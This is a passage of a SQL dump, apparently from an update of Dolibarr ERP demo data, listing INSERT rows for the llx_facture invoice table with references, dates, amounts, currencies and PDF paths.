13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,5.00000000,6.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,'2021-11-28',NULL,NULL,'',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'EUR',1.00000000,5.00000000,1.00000000,6.00000000,NULL,NULL,'takepos','1'),(220,'(PROV220)',1,NULL,NULL,3,NULL,NULL,19,'2020-01-16 02:03:17','2022-01-16',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,100.00000000,100.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-16',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,100.00000000,0.00000000,100.00000000,NULL,NULL,NULL,NULL),(221,'AC2001-0001',1,NULL,NULL,3,NULL,NULL,19,'2020-01-16 02:21:05','2022-01-16','2022-01-16 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,123.00000000,123.00000000,0,12,NULL,12,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-16',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,123.00000000,0.00000000,123.00000000,NULL,'facture/AC2001-0001/AC2001-0001.pdf',NULL,NULL),(222,'(PROV222)',1,NULL,NULL,3,NULL,NULL,19,'2020-01-16 02:21:28','2022-01-16',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,100.00000000,100.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-16',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,100.00000000,0.00000000,100.00000000,NULL,NULL,NULL,NULL),(223,'(PROV223)',1,NULL,NULL,0,NULL,NULL,19,'2020-01-16 02:32:04','2022-01-16',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,410.00000000,410.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,2,0,'2021-02-15',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,410.00000000,0.00000000,410.00000000,NULL,NULL,NULL,NULL),(224,'AC2001-0002',1,NULL,NULL,3,NULL,NULL,19,'2020-01-16 02:33:19','2022-01-16','2022-01-16 00:00:00','2020-01-16 02:36:48','2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,20.50000000,20.50000000,2,12,NULL,12,12,NULL,NULL,NULL,NULL,1,0,'2022-01-16',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,20.50000000,0.00000000,20.50000000,NULL,'facture/AC2001-0002/AC2001-0002.pdf',NULL,NULL),(225,'(PROV225)',1,NULL,NULL,0,NULL,NULL,19,'2020-01-16 02:37:48','2022-01-16',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,389.50000000,389.50000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,2,0,'2021-02-15',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,389.50000000,0.00000000,389.50000000,NULL,'facture/(PROV225)/(PROV225).pdf',NULL,NULL),(226,'(PROV226)',1,NULL,NULL,3,NULL,NULL,11,'2020-01-19 14:20:54','2022-01-19',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,12.50000000,0.00000000,0.00000000,0.00000000,120.00000000,132.50000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,120.00000000,12.50000000,132.50000000,NULL,'facture/(PROV226)/(PROV226).pdf',NULL,NULL),(227,'AC2001-0003',1,NULL,NULL,3,NULL,NULL,1,'2020-01-19 14:22:54','2022-01-19','2022-01-19 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,39.20000000,0.00000000,0.00000000,0.00000000,200.00000000,239.20000000,0,12,NULL,12,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,200.00000000,39.20000000,239.20000000,NULL,'facture/AC2001-0003/AC2001-0003.pdf',NULL,NULL),(228,'AC2001-0004',1,NULL,NULL,3,NULL,NULL,1,'2020-01-19 14:24:49','2022-01-19','2022-01-19 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,1.94000000,0.00000000,0.00000000,0.00000000,48.60000000,50.54000000,1,12,NULL,12,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,48.60000000,1.94000000,50.54000000,NULL,'facture/AC2001-0004/AC2001-0004.pdf',NULL,NULL),(229,'FA1707-0026',1,NULL,NULL,0,NULL,NULL,12,'2020-01-21 10:23:17','2021-07-18','2023-01-21 00:00:00','2020-01-21 10:23:17','2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,2,12,NULL,12,12,NULL,NULL,NULL,NULL,1,0,'2021-07-18',NULL,NULL,'',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,NULL,'facture/FA1707-0026/FA1707-0026.pdf',NULL,NULL),(230,'FA1807-0027',1,NULL,NULL,0,NULL,NULL,12,'2020-01-21 10:23:28','2021-07-18','2022-01-21 00:00:00','2020-01-21 10:23:28','2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,2,12,NULL,12,12,NULL,NULL,NULL,NULL,1,0,'2021-07-18',NULL,NULL,'',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,NULL,'facture/FA1807-0027/FA1807-0027.pdf',NULL,NULL),(231,'FA1907-0028',1,NULL,NULL,0,NULL,NULL,12,'2020-01-21 10:23:49','2021-07-18','2022-01-21 00:00:00','2020-01-21 10:23:49','2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,2,12,NULL,12,12,NULL,NULL,NULL,NULL,1,0,'2021-07-18',NULL,NULL,'',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,NULL,'facture/FA1907-0028/FA1907-0028.pdf',NULL,NULL); +INSERT INTO `llx_facture` VALUES (2,'FA1007-0002',1,NULL,NULL,0,NULL,NULL,2,'2012-07-10 18:20:13','2022-07-10',NULL,NULL,'2023-01-02 18:40:38',1,10.00000000,NULL,NULL,0,NULL,NULL,NULL,0.10000000,0.00000000,0.00000000,0.00000000,46.00000000,46.10000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2022-07-10',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,'facture/FA1007-0002/FA1007-0002.pdf',NULL,NULL),(3,'FA1107-0006',1,NULL,NULL,0,NULL,NULL,10,'2013-07-18 20:33:35','2022-07-18',NULL,NULL,'2022-12-11 21:23:22',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,15.00000000,15.00000000,2,1,NULL,1,NULL,NULL,1,NULL,NULL,1,0,'2022-07-18',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(5,'FA1108-0003',1,NULL,NULL,0,NULL,NULL,7,'2013-08-01 03:34:11','2022-08-01',NULL,NULL,'2022-12-11 21:23:22',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.63000000,0.00000000,0.00000000,0.00000000,5.00000000,5.63000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,0,6,'2022-08-01',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(6,'FA1108-0004',1,NULL,NULL,0,NULL,NULL,7,'2013-08-06 20:33:53','2022-08-06',NULL,NULL,'2022-12-11 21:23:22',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.98000000,0.00000000,0.00000000,0.00000000,5.00000000,5.98000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,0,4,'2022-08-06','Cash\nReceived : 6 EUR\nRendu : 0.02 EUR\n\n--------------------------------------',NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(8,'FA1108-0005',1,NULL,NULL,3,NULL,NULL,2,'2013-08-08 02:41:44','2022-08-08',NULL,NULL,'2022-12-11 21:23:22',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2022-08-08',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(9,'FA1108-0007',1,NULL,NULL,3,NULL,NULL,10,'2013-08-08 02:55:14','2022-08-08',NULL,NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,1.96000000,0.00000000,0.00000000,0.00000000,10.00000000,11.96000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2022-08-08',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(10,'AV1212-0001',1,NULL,NULL,2,NULL,NULL,10,'2014-12-08 17:45:20','2022-12-08','2022-12-08 00:00:00',NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,-0.63000000,0.00000000,0.00000000,0.00000000,-11.00000000,-11.63000000,1,1,NULL,1,NULL,3,NULL,NULL,NULL,0,0,'2022-12-08',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(12,'AV1212-0002',1,NULL,NULL,2,NULL,NULL,10,'2014-12-08 18:20:14','2022-12-08','2022-12-08 00:00:00',NULL,'2022-12-11 21:23:22',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,-5.00000000,-5.00000000,2,1,NULL,1,NULL,3,NULL,NULL,NULL,0,0,'2022-12-08',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(13,'FA1212-0011',1,NULL,NULL,0,NULL,NULL,7,'2014-12-09 20:04:19','2022-12-09','2022-02-12 00:00:00',NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,2.74000000,0.00000000,0.00000000,0.00000000,14.00000000,16.74000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2022-12-09',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(32,'FA1212-0021',1,NULL,NULL,0,NULL,NULL,1,'2014-12-11 09:34:23','2022-12-11','2022-03-24 00:00:00',NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,90.00000000,0.00000000,0.00000000,0.60000000,520.00000000,610.60000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2022-12-11','This is a comment (private)','This is a comment (public)','crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(33,'FA1212-0023',1,NULL,NULL,0,NULL,NULL,1,'2014-12-11 09:34:23','2022-12-11','2022-03-03 00:00:00',NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,'abandon',NULL,NULL,0.24000000,0.00000000,0.00000000,0.00000000,2.48000000,2.72000000,3,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2022-12-11','This is a comment (private)','This is a comment (public)','crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(55,'FA1212-0009',1,NULL,NULL,0,NULL,NULL,1,'2014-12-11 09:35:51','2022-12-11','2023-02-04 12:42:34',NULL,'2023-02-08 12:48:41',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.36000000,0.00000000,0.00000000,0.00000000,4.48000000,4.84000000,1,1,NULL,12,NULL,NULL,NULL,NULL,NULL,1,3,'2022-12-11','This is a comment (private)','This is a comment (public)','crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,2.00000000,0.12000000,2.12000000,NULL,NULL,NULL,NULL),(148,'FS1301-0001',1,NULL,NULL,0,NULL,NULL,1,'2015-01-19 18:22:48','2022-01-19','2022-01-19 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.63000000,0.00000000,0.00000000,0.00000000,5.00000000,5.63000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,0,1,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,'facture/FS1301-0001/FS1301-0001.pdf',NULL,NULL),(149,'FA1601-0024',1,NULL,NULL,0,NULL,NULL,1,'2015-01-19 18:30:05','2022-01-19','2021-08-29 00:00:00','2020-01-02 20:49:34','2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,'other',NULL,'test',1.80000000,0.90000000,0.90000000,0.00000000,20.00000000,23.60000000,2,1,NULL,12,12,NULL,NULL,NULL,NULL,0,0,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,20.00000000,1.80000000,23.60000000,NULL,'facture/FA1601-0024/FA1601-0024.pdf',NULL,NULL),(150,'FA6801-0010',1,NULL,NULL,0,NULL,NULL,1,'2015-01-19 18:31:10','2022-01-19','2021-10-04 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.63000000,0.00000000,0.00000000,0.00000000,5.00000000,5.63000000,1,1,NULL,12,NULL,NULL,NULL,NULL,NULL,0,1,'2022-01-19',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,5.00000000,0.63000000,5.63000000,NULL,'facture/FA6801-0010/FA6801-0010.pdf',NULL,NULL),(151,'FS1301-0002',1,NULL,NULL,0,NULL,NULL,1,'2015-01-19 18:31:58','2022-01-19','2022-01-19 00:00:00',NULL,'2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,0,1,'2022-01-19',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(160,'FA1507-0015',1,NULL,NULL,0,NULL,NULL,12,'2015-03-06 16:47:48','2022-07-18','2022-03-06 00:00:00',NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,1.11000000,0.00000000,0.00000000,0.00000000,8.89000000,10.00000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2022-07-18',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(210,'FA1107-0019',1,NULL,NULL,0,NULL,NULL,10,'2015-03-20 14:30:11','2022-07-10','2022-03-20 00:00:00',NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2022-07-10',NULL,NULL,'generic_invoice_odt:/home/ldestailleur/git/dolibarr_3.8/documents/doctemplates/invoices/template_invoice.odt',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(211,'FA1303-0020',1,NULL,NULL,0,NULL,NULL,19,'2015-03-22 09:40:10','2022-03-22','2021-03-02 00:00:00',NULL,'2022-07-04 01:11:35',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,17.64000000,0.00000000,0.00000000,0.40000000,340.00000000,358.04000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,3,'2022-03-22',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(213,'AV1303-0003',1,NULL,NULL,2,NULL,NULL,1,'2016-03-03 19:22:03','2022-03-03','2021-03-03 00:00:00',NULL,'2022-07-04 01:11:35',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,-1000.00000000,-1000.00000000,1,1,NULL,1,NULL,32,NULL,NULL,NULL,0,0,'2022-03-03',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(216,'(PROV216)',1,NULL,NULL,0,NULL,NULL,26,'2017-02-12 23:21:27','2022-02-12',NULL,NULL,'2022-07-04 01:11:35',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-02-12',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,0,'',NULL,NULL,0,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(217,'(PROV217)',1,NULL,NULL,0,NULL,NULL,1,'2017-08-31 13:26:17','2022-08-31',NULL,NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,1.13000000,0.00000000,0.00000000,0.00000000,21.00000000,22.13000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-08-31',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,0,'',NULL,NULL,1,'EUR',1.00000000,21.00000000,1.13000000,22.13000000,NULL,'facture/(PROV217)/(PROV217).pdf',NULL,NULL),(218,'FA1909-0025',1,NULL,NULL,0,NULL,NULL,12,'2019-09-26 17:30:14','2022-09-26','2022-09-26 00:00:00',NULL,'2022-12-11 21:23:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,1.08000000,0.00000000,0.00000000,0.00000000,42.50000000,43.58000000,1,12,NULL,12,NULL,NULL,NULL,NULL,NULL,0,0,'2022-09-26',NULL,NULL,'',NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,0,'',NULL,NULL,0,'EUR',1.00000000,42.50000000,1.08000000,43.58000000,NULL,NULL,'takepos','1'),(219,'(PROV-POS1-0)',1,NULL,NULL,0,NULL,NULL,1,'2019-11-28 19:04:03','2022-11-28',NULL,NULL,'2023-01-31 19:53:15',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,5.77000000,0.00000000,0.00000000,0.00000000,34.59000000,40.36000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,'2022-11-28',NULL,NULL,'',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'USD',1.30000000,44.98000000,7.49000000,52.47000000,NULL,NULL,'takepos','1'),(220,'(PROV220)',1,NULL,NULL,3,NULL,NULL,19,'2020-01-16 02:03:17','2022-01-16',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,100.00000000,100.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-16',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,100.00000000,0.00000000,100.00000000,NULL,NULL,NULL,NULL),(221,'AC2001-0001',1,NULL,NULL,3,NULL,NULL,19,'2020-01-16 02:21:05','2022-01-16','2022-01-16 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,123.00000000,123.00000000,0,12,NULL,12,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-16',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,123.00000000,0.00000000,123.00000000,NULL,'facture/AC2001-0001/AC2001-0001.pdf',NULL,NULL),(222,'(PROV222)',1,NULL,NULL,3,NULL,NULL,19,'2020-01-16 02:21:28','2022-01-16',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,100.00000000,100.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-16',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,100.00000000,0.00000000,100.00000000,NULL,NULL,NULL,NULL),(223,'(PROV223)',1,NULL,NULL,0,NULL,NULL,19,'2020-01-16 02:32:04','2022-01-16',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,410.00000000,410.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,2,0,'2021-02-15',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,410.00000000,0.00000000,410.00000000,NULL,NULL,NULL,NULL),(224,'AC2001-0002',1,NULL,NULL,3,NULL,NULL,19,'2020-01-16 02:33:19','2022-01-16','2022-01-16 00:00:00','2020-01-16 02:36:48','2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,20.50000000,20.50000000,2,12,NULL,12,12,NULL,NULL,NULL,NULL,1,0,'2022-01-16',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,20.50000000,0.00000000,20.50000000,NULL,'facture/AC2001-0002/AC2001-0002.pdf',NULL,NULL),(225,'(PROV225)',1,NULL,NULL,0,NULL,NULL,19,'2020-01-16 02:37:48','2022-01-16',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,389.50000000,389.50000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,2,0,'2021-02-15',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,389.50000000,0.00000000,389.50000000,NULL,'facture/(PROV225)/(PROV225).pdf',NULL,NULL),(226,'(PROV226)',1,NULL,NULL,3,NULL,NULL,11,'2020-01-19 14:20:54','2022-01-19',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,12.50000000,0.00000000,0.00000000,0.00000000,120.00000000,132.50000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,120.00000000,12.50000000,132.50000000,NULL,'facture/(PROV226)/(PROV226).pdf',NULL,NULL),(227,'AC2001-0003',1,NULL,NULL,3,NULL,NULL,1,'2020-01-19 14:22:54','2022-01-19','2022-01-19 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,39.20000000,0.00000000,0.00000000,0.00000000,200.00000000,239.20000000,0,12,NULL,12,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,200.00000000,39.20000000,239.20000000,NULL,'facture/AC2001-0003/AC2001-0003.pdf',NULL,NULL),(228,'AC2001-0004',1,NULL,NULL,3,NULL,NULL,1,'2020-01-19 14:24:49','2022-01-19','2022-01-19 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,1.94000000,0.00000000,0.00000000,0.00000000,48.60000000,50.54000000,1,12,NULL,12,NULL,NULL,NULL,NULL,NULL,1,0,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,48.60000000,1.94000000,50.54000000,NULL,'facture/AC2001-0004/AC2001-0004.pdf',NULL,NULL),(229,'FA1707-0026',1,NULL,NULL,0,NULL,NULL,12,'2020-01-21 10:23:17','2022-07-18','2023-01-21 00:00:00','2020-01-21 10:23:17','2022-12-11 21:23:22',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,2,12,NULL,12,12,NULL,NULL,NULL,NULL,1,0,'2022-07-18',NULL,NULL,'',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,NULL,'facture/FA1707-0026/FA1707-0026.pdf',NULL,NULL),(230,'FA1807-0027',1,NULL,NULL,0,NULL,NULL,12,'2020-01-21 10:23:28','2022-07-18','2022-01-21 00:00:00','2020-01-21 10:23:28','2022-12-11 21:23:22',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,2,12,NULL,12,12,NULL,NULL,NULL,NULL,1,0,'2022-07-18',NULL,NULL,'',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,NULL,'facture/FA1807-0027/FA1807-0027.pdf',NULL,NULL),(231,'FA1907-0028',1,NULL,NULL,0,NULL,NULL,12,'2020-01-21 10:23:49','2022-07-18','2022-01-21 00:00:00','2020-01-21 10:23:49','2022-12-11 21:23:22',1,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,2,12,NULL,12,12,NULL,NULL,NULL,NULL,1,0,'2022-07-18',NULL,NULL,'',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,NULL,'facture/FA1907-0028/FA1907-0028.pdf',NULL,NULL),(232,'FA2301-0029',1,NULL,NULL,0,NULL,NULL,36,'2023-01-18 07:53:53','2023-01-18','2023-01-18 07:54:02',NULL,'2023-01-18 